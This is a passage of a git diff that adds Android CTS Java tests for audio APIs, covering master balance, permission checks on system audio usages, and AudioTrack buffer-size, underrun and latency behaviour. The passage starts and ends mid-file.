+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.media.AudioSystem;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Ensures proper support of internal @TestApi functionality for AudioSystem.
+ * This is a framework consistency test of important internal APIs.
+ * Java applications should use the client facing AudioManager APIs for Audio management.
+ */
+
+@Presubmit
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@AppModeFull(reason = "Instant applications do not have permission MODIFY_AUDIO_SETTINGS")
+public class AudioSystemTest {
+
+    /**
+     * Tests AudioSystem.setMasterBalance and AudioSystem.getMasterBalance
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testBalance() throws Exception {
+        final float DELTA = 0.f; // float values must be exact
+
+        // original balance must be valid
+        final float originalBalance = AudioSystem.getMasterBalance();
+        assertTrue("original balance must be within -1.f to 1.f " + originalBalance,
+                originalBalance <= 1.f && originalBalance >= -1.f);
+
+        try {
+            // can we set with valid values?
+            final float[] GOOD_BALANCE_VALUES = {-1.f, -0.5f, 0.f, 0.5f, 1.f};
+            for (final float b : GOOD_BALANCE_VALUES) {
+                assertEquals("set must return NO_ERROR", 0, AudioSystem.setMasterBalance(b));
+                assertEquals("get must return set value " + b,
+                        b, AudioSystem.getMasterBalance(), DELTA);
+            }
+
+            // can we restore?
+            AudioSystem.setMasterBalance(originalBalance);
+            assertEquals("get must return set value",
+                    originalBalance, AudioSystem.getMasterBalance(), DELTA);
+
+            // do we reject invalid values?
+            final float[] BAD_BALANCE_VALUES = {-2.f, 2.f, // out of bounds
+                    Float.POSITIVE_INFINITY, Float.NaN, Float.NEGATIVE_INFINITY, // special values
+            };
+            for (final float b : BAD_BALANCE_VALUES) {
+                assertTrue("set returns error on invalid value",
+                        0 != AudioSystem.setMasterBalance(b));
+                assertEquals("get reads old value on invalid set",
+                        originalBalance, AudioSystem.getMasterBalance(), DELTA);
+            }
+            // we are at original balance here.
+
+        } finally {
+            // always attempt to restore original balance if we got it successfully.
+            AudioSystem.setMasterBalance(originalBalance);
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioSystemUsageTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioSystemUsageTest.java
new file mode 100644
index 0000000..57d6d74
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioSystemUsageTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2020 Google LLC.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.expectThrows;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFocusRequest;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioTrack;
+import android.media.HwAudioSource;
+import android.media.MediaRecorder;
+import android.media.cts.NonMediaMainlineTest;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/*
+ * Tests SystemUsage behavior in non-system app without the MODIFY_AUDIO_ROUTING permission
+ */
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioSystemUsageTest {
+    private static final AudioAttributes SYSTEM_USAGE_AUDIO_ATTRIBUTES =
+            new AudioAttributes.Builder()
+                    .setSystemUsage(AudioAttributes.USAGE_EMERGENCY)
+                    .build();
+
+    private AudioManager mAudioManager;
+
+    @Before
+    public void setUp() {
+        Context context = ApplicationProvider.getApplicationContext();
+        mAudioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+    }
+
+    @Test
+    public void getSupportedSystemUsages_throwsException() {
+        assertThrows(SecurityException.class, () ->
+                mAudioManager.getSupportedSystemUsages());
+    }
+
+    @Test
+    public void setSupportedSystemUsage_throwsException() {
+        assertThrows(SecurityException.class, () ->
+                mAudioManager.setSupportedSystemUsages(new int[0]));
+    }
+
+    @Test
+    public void requestAudioFocus_returnsFailedResponse() {
+        AudioFocusRequest request = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES).build();
+
+        int response = mAudioManager.requestAudioFocus(request);
+        assertThat(response).isEqualTo(AudioManager.AUDIOFOCUS_REQUEST_FAILED);
+    }
+
+    @Test
+    public void abandonAudioFocusRequest_returnsFailedResponse() {
+        AudioFocusRequest request = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES).build();
+
+        int response = mAudioManager.abandonAudioFocusRequest(request);
+        assertThat(response).isEqualTo(AudioManager.AUDIOFOCUS_REQUEST_FAILED);
+    }
+
+    @Test
+    public void trackPlayer_throwsException() {
+        AudioDeviceInfo testDevice = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS)[0];
+        HwAudioSource.Builder builder = new HwAudioSource.Builder()
+                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES)
+                .setAudioDeviceInfo(testDevice);
+
+        // Constructor calls PlayerBase#baseRegisterPlayer which calls AudioService#trackPlayer
+        assertThrows(SecurityException.class, builder::build);
+    }
+
+    @Test
+    public void getOutputForAttr_returnsError() {
+        AudioTrack.Builder builder = new AudioTrack.Builder()
+                .setAudioAttributes(SYSTEM_USAGE_AUDIO_ATTRIBUTES);
+
+        // Calls AudioPolicyService#getOutputForAttr which returns ERROR for unsupported usage
+        UnsupportedOperationException thrown = expectThrows(UnsupportedOperationException.class,
+                builder::build);
+        assertThat(thrown).hasMessageThat().contains("Cannot create AudioTrack");
+    }
+
+    @Test
+    public void getInputForAttr_returnsError() {
+        AudioAttributes unsupportedInputAudioAttributes = new AudioAttributes.Builder()
+                .setSystemUsage(AudioAttributes.USAGE_SAFETY)
+                .setCapturePreset(MediaRecorder.AudioSource.MIC)
+                .build();
+        AudioRecord.Builder builder = new AudioRecord.Builder()
+                .setAudioAttributes(unsupportedInputAudioAttributes);
+
+        // Calls AudioPolicyService#getInputForAttr which returns ERROR for unsupported usage
+        UnsupportedOperationException thrown = expectThrows(UnsupportedOperationException.class,
+                builder::build);
+        assertThat(thrown).hasMessageThat().contains("Cannot create AudioRecord");
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackLatencyTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackLatencyTest.java
new file mode 100644
index 0000000..687f39f
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackLatencyTest.java
@@ -0,0 +1,704 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.cts.AudioHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+// Test the Java AudioTrack low latency related features:
+//
+// setBufferSizeInFrames()
+// getBufferCapacityInFrames()
+// ASSUME getMinBufferSize in frames is significantly lower than getBufferCapacityInFrames.
+// This gives us room to adjust the sizes.
+//
+// getUnderrunCount()
+// ASSUME normal track will underrun with setBufferSizeInFrames(0).
+//
+// AudioAttributes.FLAG_LOW_LATENCY
+// ASSUME FLAG_LOW_LATENCY reduces output latency by more than 10 msec.
+// Warns if not. This can happen if there is no Fast Mixer or if a FastTrack
+// is not available.
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "The APIs would either work correctly or not at all for instant apps")
+public class AudioTrackLatencyTest extends CtsAndroidTestCase {
+    private String TAG = "AudioTrackLatencyTest";
+    private final static long NANOS_PER_MILLISECOND = 1000000L;
+    private final static int MILLIS_PER_SECOND = 1000;
+    private final static long NANOS_PER_SECOND = NANOS_PER_MILLISECOND * MILLIS_PER_SECOND;
+
+    private void log(String testName, String message) {
+        Log.i(TAG, "[" + testName + "] " + message);
+    }
+
+    private void logw(String testName, String message) {
+        Log.w(TAG, "[" + testName + "] " + message);
+    }
+
+    private void loge(String testName, String message) {
+        Log.e(TAG, "[" + testName + "] " + message);
+    }
+
+    public void testSetBufferSize() throws Exception {
+        // constants for PCM track test
+        final String TEST_PCM_NAME = "testSetBufferSizeTrackPcm";
+        final int TEST_PCM_SAMPLE_RATE = 44100;
+        final int TEST_PCM_CHANNEL_CONFIG = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_PCM_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+
+        // constants for AC3 track test
+        final String TEST_AC3_NAME = "testSetBufferSizeTrackAc3";
+        final int TEST_AC3_SAMPLE_RATE = 48000;
+        final int TEST_AC3_CHANNEL_CONFIG = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_AC3_ENCODING = AudioFormat.ENCODING_AC3;
+
+        // -------- PCM track test --------------
+        AudioTrack trackPcm = null;
+        try {
+            trackPcm = createStreamAudioTrack(
+                    TEST_PCM_SAMPLE_RATE,
+                    TEST_PCM_CHANNEL_CONFIG,
+                    TEST_PCM_ENCODING);
+            testSetBufferSizeOnTrack(trackPcm, TEST_PCM_NAME);
+        } catch (Exception exception) {
+            // this is unexpected, PCM should be supported on all devices
+            fail("Couldn't create PCM audio track!");
+        } finally {
+            if (trackPcm != null) {
+                trackPcm.release();
+            }
+        }
+
+
+        // -------- AC3 track test --------------
+        AudioTrack trackAc3 = null;
+        try {
+            trackAc3 = createStreamAudioTrack(
+                    TEST_AC3_SAMPLE_RATE,
+                    TEST_AC3_CHANNEL_CONFIG,
+                    TEST_AC3_ENCODING);
+            testSetBufferSizeOnTrack(trackAc3, TEST_AC3_NAME);
+        } catch (UnsupportedOperationException exception) {
+            // this is expected, not all devices can create AC3 tracks
+            // for the devices that can create AC3 tracks (like HDMI connected ATV devices),
+            // they should allow for setBufferSize
+            log(TEST_AC3_NAME, "Couldn't create AC3 audio track for testSetBufferSize");
+        } finally {
+            if (trackAc3 != null) {
+                trackAc3.release();
+            }
+        }
+    }
+
+    private AudioTrack createStreamAudioTrack(int sampleRate, int channelConfig, int encoding) {
+        // Start with buffer twice as large as needed.
+        int bufferSizeBytes = 2 * AudioTrack.getMinBufferSize(sampleRate, channelConfig, encoding);
+        AudioAttributes attributes = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA)
+                .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+                .build();
+        AudioFormat format = new AudioFormat.Builder()
+                .setSampleRate(sampleRate)
+                .setChannelMask(channelConfig)
+                .setEncoding(encoding)
+                .build();
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(attributes)
+                .setAudioFormat(format)
+                .setTransferMode(AudioTrack.MODE_STREAM)
+                .setBufferSizeInBytes(bufferSizeBytes)
+                .build();
+        return track;
+    }
+
+    private void testSetBufferSizeOnTrack(AudioTrack track, String testName) {
+        // Initial values
+        int bufferCapacity = track.getBufferCapacityInFrames();
+        int initialBufferSize = track.getBufferSizeInFrames();
+        assertTrue(testName, bufferCapacity > 0);
+        assertTrue(testName, initialBufferSize > 0);
+        assertTrue(testName, initialBufferSize <= bufferCapacity);
+
+        // set to various values
+        int resultNegative = track.setBufferSizeInFrames(-1);
+        assertEquals(testName + ": negative size", AudioTrack.ERROR_BAD_VALUE, resultNegative);
+        assertEquals(testName + ": should be unchanged",
+                initialBufferSize, track.getBufferSizeInFrames());
+
+        int resultZero = track.setBufferSizeInFrames(0);
+        assertTrue(testName + ": should be >0, but got " + resultZero, resultZero > 0);
+        assertTrue(testName + ": zero size < original, but got " + resultZero,
+                resultZero < initialBufferSize);
+        assertEquals(testName + ": should match resultZero",
+                resultZero, track.getBufferSizeInFrames());
+
+        int resultMax = track.setBufferSizeInFrames(Integer.MAX_VALUE);
+        assertTrue(testName + ": set MAX_VALUE, >", resultMax > resultZero);
+        assertTrue(testName + ": set MAX_VALUE, <=", resultMax <= bufferCapacity);
+        assertEquals(testName + ": should match resultMax",
+                resultMax, track.getBufferSizeInFrames());
+
+        int resultMiddle = track.setBufferSizeInFrames(bufferCapacity / 2);
+        assertTrue(testName + ": set middle, >", resultMiddle > resultZero);
+        assertTrue(testName + ": set middle, <=", resultMiddle < resultMax);
+        assertEquals(testName + ": should match resultMiddle",
+                resultMiddle, track.getBufferSizeInFrames());
+    }
+
+    // Helper class for tests
+    private static class TestSetup {
+        public int sampleRate = 48000;
+        public int samplesPerFrame = 2;
+        public int bytesPerSample = 2;
+        public int config = AudioFormat.CHANNEL_OUT_STEREO;
+        public int format = AudioFormat.ENCODING_PCM_16BIT;
+        public int mode = AudioTrack.MODE_STREAM;
+        public int streamType = AudioManager.STREAM_MUSIC;
+        public int framesPerBuffer = 256;
+        public double amplitude = 0.5;
+
+        private AudioTrack mTrack;
+        private short[] mData;
+        private int mActualSizeInFrames;
+
+        AudioTrack createTrack() {
+            mData = AudioHelper.createSineWavesShort(framesPerBuffer,
+                    samplesPerFrame, 1, amplitude);
+            int minBufferSize = AudioTrack.getMinBufferSize(sampleRate, config, format);
+            // Create a buffer that is 3/2 times bigger than the minimum.
+            // This gives me room to cut it in half and play without glitching.
+            // This is an arbitrary scaling factor.
+            int bufferSize = (minBufferSize * 3) / 2;
+            mTrack = new AudioTrack(streamType, sampleRate, config, format,
+                    bufferSize, mode);
+
+            // Calculate and use a smaller buffer size
+            int smallBufferSize = bufferSize / 2; // arbitrary, smaller might underflow
+            int smallBuffSizeInFrames = smallBufferSize / (samplesPerFrame * bytesPerSample);
+            mActualSizeInFrames = mTrack.setBufferSizeInFrames(smallBuffSizeInFrames);
+            return mTrack;
+
+        }
+
+        int primeAudioTrack(String testName) {
+            // Prime the buffer.
+            int samplesWrittenTotal = 0;
+            int samplesWritten;
+            do{
+                samplesWritten = mTrack.write(mData, 0, mData.length);
+                if (samplesWritten > 0) {
+                    samplesWrittenTotal += samplesWritten;
+                }
+            } while (samplesWritten == mData.length);
+            int framesWrittenTotal = samplesWrittenTotal / samplesPerFrame;
+            assertTrue(testName + ": framesWrittenTotal = " + framesWrittenTotal
+                    + ", size = " + mActualSizeInFrames,
+                    framesWrittenTotal >= mActualSizeInFrames);
+            return framesWrittenTotal;
+        }
+
+        /**
+         * @param seconds
+         */
+        public void writeSeconds(double seconds) throws InterruptedException {
+            long msecEnd = System.currentTimeMillis() + (long)(seconds * 1000);
+            while (System.currentTimeMillis() < msecEnd) {
+                // Use non-blocking mode in case the track is hung.
+                int samplesWritten = mTrack.write(mData, 0, mData.length, AudioTrack.WRITE_NON_BLOCKING);
+                if (samplesWritten < mData.length) {
+                    int samplesRemaining = mData.length - samplesWritten;
+                    int framesRemaining = samplesRemaining / samplesPerFrame;
+                    int millis = (framesRemaining * 1000) / sampleRate;
+                    Thread.sleep(millis);
+                }
+            }
+        }
+    }
+
+    // Try to play an AudioTrack when the initial size is less than capacity.
+    // We want to make sure the track starts properly and is not stuck.
+    public void testPlaySmallBuffer() throws Exception {
+        final String TEST_NAME = "testPlaySmallBuffer";
+        TestSetup setup = new TestSetup();
+        AudioTrack track = setup.createTrack();
+
+        // Prime the buffer.
+        int framesWrittenTotal = setup.primeAudioTrack(TEST_NAME);
+
+        // Start playing and let it drain.
+        int position1 = track.getPlaybackHeadPosition();
+        assertEquals(TEST_NAME + ": initial position", 0, position1);
+        track.play();
+
+        // Make sure it starts within a reasonably short time.
+        final long MAX_TIME_TO_START_MSEC =  500; // arbitrary
+        long giveUpAt = System.currentTimeMillis() + MAX_TIME_TO_START_MSEC;
+        int position2 = track.getPlaybackHeadPosition();
+        while ((position1 == position2)
+                && (System.currentTimeMillis() < giveUpAt)) {
+            Thread.sleep(20); // arbitrary interval
+            position2 = track.getPlaybackHeadPosition();
+        }
+        assertTrue(TEST_NAME + ": did it start?, position after start = " + position2,
+                position2 > position1);
+
+        // Make sure it finishes playing the data.
+        // Wait several times longer than it should take to play the data.
+        final int several = 3; // arbitrary
+        // Even though the read head has advanced, it may stall a while waiting
+        // for the device to "warm up".
+        final int WARM_UP_TIME_MSEC = 300; // arbitrary
+        final long sleepTimeMSec = WARM_UP_TIME_MSEC
+                + (several * framesWrittenTotal * MILLIS_PER_SECOND / setup.sampleRate);
+        Thread.sleep(sleepTimeMSec);
+        position2 = track.getPlaybackHeadPosition();
+        assertEquals(TEST_NAME + ": did it play all the data?",
+                framesWrittenTotal, position2);
+
+        track.release();
+    }
+
+    // Try to play and pause an AudioTrack when the initial size is less than capacity.
+    // We want to make sure the track starts properly and is not stuck.
+    public void testPlayPauseSmallBuffer() throws Exception {
+        final String TEST_NAME = "testPlayPauseSmallBuffer";
+        TestSetup setup = new TestSetup();
+        AudioTrack track = setup.createTrack();
+
+        // Prime the buffer.
+        setup.primeAudioTrack(TEST_NAME);
+
+        // Start playing then pause and play in a loop.
+        int position1 = track.getPlaybackHeadPosition();
+        assertEquals(TEST_NAME + ": initial position", 0, position1);
+        track.play();
+        // try pausing several times to see if it fails
+        final int several = 4; // arbitrary
+        for (int i = 0; i < several; i++) {
+            // write data in non-blocking mode for a few seconds
+            setup.writeSeconds(2.0); // arbitrary, long enough for audio to get to the device
+            // Did position advance as we were playing? Or was the track stuck?
+            int position2 = track.getPlaybackHeadPosition();
+            int delta = position2 - position1; // safe from wrapping
+            assertTrue(TEST_NAME + ": [" + i + "] did it advance? p1 = " + position1
+                    + ", p2 = " + position2, delta > 0);
+            position1 = position2;
+            // pause for a second
+            track.pause();
+            Thread.sleep(MILLIS_PER_SECOND);
+            track.play();
+        }
+
+        track.release();
+    }
+
+    // Create a track with or without FLAG_LOW_LATENCY
+    private AudioTrack createCustomAudioTrack(boolean lowLatency) {
+        final String TEST_NAME = "createCustomAudioTrack";
+        final int TEST_SR = 48000;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_CONTENT_TYPE = AudioAttributes.CONTENT_TYPE_MUSIC;
+
+        // Start with buffer twice as large as needed.
+        int bufferSizeBytes = 2 * AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        AudioAttributes.Builder attributesBuilder = new AudioAttributes.Builder()
+                .setContentType(TEST_CONTENT_TYPE);
+        if (lowLatency) {
+            attributesBuilder.setFlags(AudioAttributes.FLAG_LOW_LATENCY);
+        }
+        AudioAttributes attributes = attributesBuilder.build();
+
+        // Do not specify the sample rate so we get the optimal rate.
+        AudioFormat format = new AudioFormat.Builder()
+                .setEncoding(TEST_FORMAT)
+                .setChannelMask(TEST_CONF)
+                .build();
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(attributes)
+                .setAudioFormat(format)
+                .setBufferSizeInBytes(bufferSizeBytes)
+                .build();
+
+        assertTrue(track != null);
+        log(TEST_NAME, "Track sample rate = " + track.getSampleRate() + " Hz");
+        return track;
+    }
+
+
+    private int checkOutputLowLatency(boolean lowLatency) throws Exception {
+        // constants for test
+        final String TEST_NAME = "checkOutputLowLatency";
+        final int TEST_SAMPLES_PER_FRAME = 2;
+        final int TEST_BYTES_PER_SAMPLE = 2;
+        final int TEST_NUM_SECONDS = 4;
+        final int TEST_FRAMES_PER_BUFFER = 128;
+        final double TEST_AMPLITUDE = 0.5;
+
+        final short[] data = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BUFFER,
+                TEST_SAMPLES_PER_FRAME, 1, TEST_AMPLITUDE);
+
+        // -------- initialization --------------
+        AudioTrack track = createCustomAudioTrack(lowLatency);
+        assertTrue(TEST_NAME + " actual SR", track.getSampleRate() > 0);
+
+        // -------- test --------------
+        // Play some audio for a few seconds.
+        int numSeconds = TEST_NUM_SECONDS;
+        int numBuffers = numSeconds * track.getSampleRate() / TEST_FRAMES_PER_BUFFER;
+        long framesWritten = 0;
+        boolean isPlaying = false;
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+            framesWritten += TEST_FRAMES_PER_BUFFER;
+            // prime the buffer a bit before playing
+            if (!isPlaying) {
+                track.play();
+                isPlaying = true;
+            }
+        }
+
+        // Estimate the latency from the timestamp.
+        long timeWritten = System.nanoTime();
+        AudioTimestamp timestamp = new AudioTimestamp();
+        boolean result = track.getTimestamp(timestamp);
+        // FIXME failing LOW_LATENCY case! b/26413951
+        assertTrue(TEST_NAME + " did not get a timestamp, lowLatency = "
+                + lowLatency, result);
+
+        // Calculate when the last frame written is going to be rendered.
+        long framesPending = framesWritten - timestamp.framePosition;
+        long timeDelta = framesPending * NANOS_PER_SECOND / track.getSampleRate();
+        long timePresented = timestamp.nanoTime + timeDelta;
+        long latencyNanos = timePresented - timeWritten;
+        int latencyMillis = (int) (latencyNanos / NANOS_PER_MILLISECOND);
+        assertTrue(TEST_NAME + " got latencyMillis <= 0 == "
+                + latencyMillis, latencyMillis > 0);
+
+        // -------- cleanup --------------
+        track.release();
+
+        return latencyMillis;
+    }
+
+    // Compare output latency with and without FLAG_LOW_LATENCY.
+    public void testOutputLowLatency() throws Exception {
+        final String TEST_NAME = "testOutputLowLatency";
+
+        int highLatencyMillis = checkOutputLowLatency(false);
+        log(TEST_NAME, "High latency = " + highLatencyMillis + " msec");
+
+        int lowLatencyMillis = checkOutputLowLatency(true);
+        log(TEST_NAME, "Low latency = " + lowLatencyMillis + " msec");
+
+        // We are not guaranteed to get a FAST track. Some platforms
+        // do not even have a FastMixer. So just warn and not fail.
+        if (highLatencyMillis <= (lowLatencyMillis + 10)) {
+            logw(TEST_NAME, "high latency should be much higher, "
+                    + highLatencyMillis
+                    + " vs " + lowLatencyMillis);
+        }
+    }
+
+    // Verify that no underruns when buffer is >= getMinBufferSize().
+    // Verify that we get underruns with buffer at smallest possible size.
+    public void testGetUnderrunCount() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testGetUnderrunCount";
+        final int TEST_SR = 44100;
+        final int TEST_SAMPLES_PER_FRAME = 2;
+        final int TEST_BYTES_PER_SAMPLE = 2;
+        final int TEST_NUM_SECONDS = 2;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final int TEST_FRAMES_PER_BUFFER = 256;
+        final int TEST_FRAMES_PER_BLIP = TEST_SR / 8;
+        final int TEST_CYCLES_PER_BLIP = 700 * TEST_FRAMES_PER_BLIP / TEST_SR;
+        final double TEST_AMPLITUDE = 0.5;
+
+        final short[] data = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BUFFER,
+                TEST_SAMPLES_PER_FRAME, 1, TEST_AMPLITUDE);
+        final short[] blip = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BLIP,
+                TEST_SAMPLES_PER_FRAME, TEST_CYCLES_PER_BLIP, TEST_AMPLITUDE);
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        // Start with buffer twice as large as needed.
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize * 2, TEST_MODE);
+
+        // -------- test --------------
+        // Initial values
+        int bufferCapacity = track.getBufferCapacityInFrames();
+        int initialBufferSize = track.getBufferSizeInFrames();
+        int minBuffSizeInFrames = minBuffSize / (TEST_SAMPLES_PER_FRAME * TEST_BYTES_PER_SAMPLE);
+        assertTrue(TEST_NAME, bufferCapacity > 0);
+        assertTrue(TEST_NAME, initialBufferSize > 0);
+        assertTrue(TEST_NAME, initialBufferSize <= bufferCapacity);
+
+        // Play with initial size.
+        int underrunCount1 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": initially no underruns", 0, underrunCount1);
+
+        // Prime the buffer.
+        while (track.write(data, 0, data.length) == data.length);
+
+        // Start playing
+        track.play();
+        int numBuffers = TEST_SR / TEST_FRAMES_PER_BUFFER;
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        int underrunCountBase = track.getUnderrunCount();
+        int numSeconds = TEST_NUM_SECONDS;
+        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        underrunCount1 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": no more underruns after initial",
+                underrunCountBase, underrunCount1);
+
+        // Play with getMinBufferSize() size.
+        int resultMin = track.setBufferSizeInFrames(minBuffSizeInFrames);
+        assertTrue(TEST_NAME + ": set minBuff, >", resultMin > 0);
+        assertTrue(TEST_NAME + ": set minBuff, <=", resultMin <= initialBufferSize);
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        track.write(blip, 0, blip.length);
+        underrunCount1 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": no more underruns at min", underrunCountBase, underrunCount1);
+
+        // Play with ridiculously small size. We want to get underruns so we know that an app
+        // can get to the edge of underrunning.
+        int resultZero = track.setBufferSizeInFrames(0);
+        assertTrue(TEST_NAME + ": should return > 0, got " + resultZero, resultZero > 0);
+        assertTrue(TEST_NAME + ": zero size < original", resultZero < initialBufferSize);
+        numSeconds = TEST_NUM_SECONDS / 2; // cuz test takes longer when underflowing
+        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
+        // Play for a few seconds or until we get some new underruns.
+        for (int i = 0; (i < numBuffers) && ((underrunCount1 - underrunCountBase) < 10); i++) {
+            track.write(data, 0, data.length);
+            underrunCount1 = track.getUnderrunCount();
+        }
+        assertTrue(TEST_NAME + ": underruns at zero", underrunCount1 > underrunCountBase);
+        int underrunCount2 = underrunCount1;
+        // Play for a few seconds or until we get some new underruns.
+        for (int i = 0; (i < numBuffers) && ((underrunCount2 - underrunCount1) < 10); i++) {
+            track.write(data, 0, data.length);
+            underrunCount2 = track.getUnderrunCount();
+        }
+        assertTrue(TEST_NAME + ": underruns still accumulating", underrunCount2 > underrunCount1);
+
+        // Restore buffer to good size
+        numSeconds = TEST_NUM_SECONDS;
+        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
+        int resultMax = track.setBufferSizeInFrames(bufferCapacity);
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        // Should have stopped by now.
+        underrunCount1 = track.getUnderrunCount();
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        // Counts should match.
+        underrunCount2 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": underruns should stop happening",
+                underrunCount1, underrunCount2);
+
+        // -------- tear down --------------
+        track.release();
+    }
+
+    // Verify that we get underruns if we stop writing to the buffer.
+    public void testGetUnderrunCountSleep() throws Exception {
+        // constants for test
+        final String TEST_NAME = "testGetUnderrunCountSleep";
+        final int TEST_SR = 48000;
+        final int TEST_SAMPLES_PER_FRAME = 2;
+        final int TEST_BYTES_PER_SAMPLE = 2;
+        final int TEST_NUM_SECONDS = 2;
+        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final int TEST_FRAMES_PER_BUFFER = 256;
+        final int TEST_FRAMES_PER_BLIP = TEST_SR / 8;
+        final int TEST_CYCLES_PER_BLIP = 700 * TEST_FRAMES_PER_BLIP / TEST_SR;
+        final double TEST_AMPLITUDE = 0.5;
+
+        final short[] data = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BUFFER,
